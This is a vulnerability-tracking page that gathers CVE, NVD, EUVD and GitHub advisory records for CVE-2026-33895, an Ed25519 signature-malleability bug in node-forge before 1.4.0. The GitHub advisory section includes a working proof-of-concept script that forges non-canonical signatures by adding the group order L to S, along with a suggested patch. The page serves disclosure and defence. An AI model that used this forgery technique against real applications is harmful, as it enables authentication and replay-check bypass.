Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 275/275 feeds/APIs · 469/469 docs · 8/9 advisories · checked 13:03 UTC Customize Public modeDiscuss ChangeIntel on Discord

Forge has signature forgery in Ed25519 due to missing S > L check

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-33895

Published

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.

Source published
27 Mar 2026 20:47:54 UTC
Source modified
4 Sep 2026 12:04:49 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

euvd · EUVD-2026-16835

Published

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Mar 27, 2026, 8:47:54 PM

dateUpdated: Sep 4, 2026, 12:04:49 PM

7 related source bulletins · separate from aliases

RHSA-2026:24761: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

CVE-2025-62718 · CVE-2026-4926 · CVE-2026-7246 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-30922 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-32283 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39363 · CVE-2026-39892 · CVE-2026-40192

RHSA-2026:34342: Red Hat Security Advisory: Cluster Observability Operator 1.5.0

CVE-2020-7753 · CVE-2021-33623 · CVE-2024-4068 · CVE-2024-45338 · CVE-2024-52011 · CVE-2025-22868 · CVE-2025-22870 · CVE-2025-22872 · CVE-2025-47911 · CVE-2025-58190 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-4800 · CVE-2026-4867 · CVE-2026-6321 · CVE-2026-6322 · CVE-2026-6734 · CVE-2026-9277 · CVE-2026-9697 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-25680 · CVE-2026-25681 · CVE-2026-29063 · CVE-2026-32141 · CVE-2026-33228 · CVE-2026-33671 · CVE-2026-33814 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-33937 · CVE-2026-33938 · CVE-2026-33939 · CVE-2026-33940 · CVE-2026-33941 · CVE-2026-39821 · CVE-2026-42506 · CVE-2026-48779

RHSA-2026:86618: Red Hat Security Advisory: New container image: rhceph-9.2

CVE-2023-46159 · CVE-2024-47866 · CVE-2024-48916 · CVE-2024-55565 · CVE-2025-12816 · CVE-2025-15599 · CVE-2025-26791 · CVE-2025-30156 · CVE-2025-50181 · CVE-2025-50182 · CVE-2025-58754 · CVE-2025-59343 · CVE-2025-62718 · CVE-2025-66030 · CVE-2025-66035 · CVE-2025-66412 · CVE-2025-69873 · CVE-2026-0540 · CVE-2026-21441 · CVE-2026-22610 · CVE-2026-25639 · CVE-2026-26996 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-27970 · CVE-2026-32141 · CVE-2026-33228 · CVE-2026-33671 · CVE-2026-33672 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39865 · CVE-2026-40175 · CVE-2026-40895 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-41305 · CVE-2026-42033 · CVE-2026-42034 · CVE-2026-42035 · CVE-2026-42036 · CVE-2026-42037 · CVE-2026-42038 · CVE-2026-42039 · CVE-2026-42040 · CVE-2026-42041 · CVE-2026-42042 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-50152 · CVE-2026-58224

RHSA-2026:13826: Red Hat Security Advisory: Red Hat Developer Hub 1.9.4 release.

CVE-2025-62718 · CVE-2025-69534 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-3118 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-27601 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-29186 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-33228 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39983 · CVE-2026-40175 · CVE-2026-40895

msrc_CVE-2026-33895: Forge has signature forgery in Ed25519 due to missing S > L check

CVE-2026-33895

WID-SEC-W-2026-1407: IBM App Connect Enterprise Certified Container: Mehrere Schwachstellen

CVE-2026-26013 · CVE-2026-27142 · CVE-2026-28277 · CVE-2026-28684 · CVE-2026-32288 · CVE-2026-33151 · CVE-2026-33349 · CVE-2026-33532 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-33916 · CVE-2026-34601 · CVE-2026-35469 · CVE-2026-39406 · CVE-2026-39407 · CVE-2026-39408 · CVE-2026-39409 · CVE-2026-39410 · CVE-2026-39983 · CVE-2026-40175 · CVE-2026-40347 · CVE-2026-40895 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-4923 · CVE-2026-4926

RHSA-2026:9742: Red Hat Security Advisory: Red Hat Developer Hub 1.8.6 release.

CVE-2025-62718 · CVE-2025-69534 · CVE-2025-69873 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-3118 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-25679 · CVE-2026-26996 · CVE-2026-27601 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-29186 · CVE-2026-32141 · CVE-2026-33036 · CVE-2026-33228 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39983 · CVE-2026-40175

Source published
Mar 27, 2026, 8:47:54 PM (timezone not stated)
Source modified
Sep 4, 2026, 12:04:49 PM (timezone not stated)
Observed here
1 Nov 2026 05:16:36 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

nvd · CVE-2026-33895

Published

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-347

Original publisher date fields

published: 2026-03-27T21:17:26.157

lastModified: 2026-10-26T22:10:00.163

1 source CPE criteria · context only
  • cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
27 Mar 2026 21:17:26 UTC
Source modified
26 Oct 2026 22:10:00 UTC
Observed here
27 Oct 2026 09:03:00 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

osv · GHSA-q67f-28xg-22rw

Published

## Summary Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, [as defined by the specification](https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see [CVE-2026-25793](https://nvd.nist.gov/vuln/detail/CVE-2026-25793), [CVE-2022-35961](https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. ## Impacted Deployments **Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5` **Affected versions:** tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented. **Configuration assumptions:** - Default forge Ed25519 verify API path (`ed25519.verify(...)`). ## Root Cause In `lib/ed25519.js`, `crypto_sign_open(...)` uses the signature's last 32 bytes (`S`) directly in scalar multiplication: ```javascript scalarbase(q, sm.subarray(32)); ``` There is no prior check enforcing `S < L` (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where `S := S + L (mod 2^256)` when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature. ## Reproduction Steps - Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`. - Place and run the PoC script (`poc.js`) with `node poc.js` in the same level as the `forge` folder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (`crypto.verify`). - Confirm output includes: ```json { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } ``` ## Proof of Concept **Overview:** - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit: ```text { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } ``` <details><summary>poc.js</summary> ```javascript #!/usr/bin/env node 'use strict'; const path = require('path'); const crypto = require('crypto'); const forge = require('./forge'); const ed = forge.ed25519; const MESSAGE = Buffer.from('dderpym is the coolest man alive!'); // Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). const ED25519_ORDER_L = Buffer.from([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, ]); // For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. // This returns a new signature with s := s + L (mod 2^256), plus the carry. function addLToS(signature) { if (!Buffer.isBuffer(signature) || signature.length !== 64) { throw new Error('signature must be a 64-byte Buffer'); } const out = Buffer.from(signature); let carry = 0; for (let i = 0; i < 32; i++) { const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. const sum = out[idx] + ED25519_ORDER_L[i] + carry; out[idx] = sum & 0xff; carry = sum >> 8; } return { sig: out, carry }; } function toSpkiPem(publicKeyBytes) { if (publicKeyBytes.length !== 32) { throw new Error('publicKeyBytes must be 32 bytes'); } // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`; } function verifyWithCrypto(publicKey, message, signature) { try { const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); const ok = crypto.verify(null, message, keyObject, signature); return { ok }; } catch (error) { return { ok: false, error: error.message }; } } function toResult(label, original, tweaked) { return { [label]: { original_valid: original.ok, tweaked_valid: tweaked.ok, }, }; } function main() { const kp = ed.generateKeyPair(); const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); const tweaked = addLToS(sig); const okTweaked = ed.verify({ message: MESSAGE, signature: tweaked.sig, publicKey: kp.publicKey, }); const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); const result = { ...toResult('forge', { ok }, { ok: okTweaked }), ...toResult('crypto', cryptoOriginal, cryptoTweaked), }; console.log(JSON.stringify(result, null, 2)); } main(); ``` </details> ## Suggested Patch Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if `S >= L`). Here is a patch we tested on our end to resolve the issue, though please verify it on your end: ```diff index f3e6faa..87eb709 100644 --- a/lib/ed25519.js +++ b/lib/ed25519.js @@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) { return -1; } + if(!_isCanonicalSignatureScalar(sm, 32)) { + return -1; + } + for(i = 0; i < n; ++i) { m[i] = sm[i]; } @@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) { return mlen; } +function _isCanonicalSignatureScalar(bytes, offset) { + var i; + // Compare little-endian scalar S against group order L and require S < L. + for(i = 31; i >= 0; --i) { + if(bytes[offset + i] < L[i]) { + return true; + } + if(bytes[offset + i] > L[i]) { + return false; + } + } + // S == L is non-canonical. + return false; +} + function modL(r, x) { var carry, i, j, k; for(i = 63; i >= 32; --i) { ``` ## Resources - RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4 - > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l ## Credit This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Source published
26 Mar 2026 22:04:41 UTC
Source modified
10 Sep 2026 03:50:40 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 1 Nov 13:03 UTC · 275 of 275 readable · 270 fully read · documentation 469/469 current